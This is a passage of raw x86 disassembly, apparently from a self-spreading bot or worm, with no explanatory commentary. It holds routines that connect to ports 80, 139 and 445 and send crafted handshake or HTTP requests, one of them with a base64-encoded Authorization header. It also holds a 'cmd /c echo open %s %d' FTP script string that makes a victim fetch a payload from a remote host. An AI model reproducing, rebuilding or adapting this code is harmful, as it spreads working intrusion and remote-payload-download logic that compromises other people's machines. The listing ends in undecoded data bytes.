[ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CE4 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D14 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C5C push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D20 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D6C[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F18 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DB0 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2670ECAh loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431418[eax] lea eax, dword_431418[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321D0 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 26F0000h nop test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0C4h ; Ä db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; 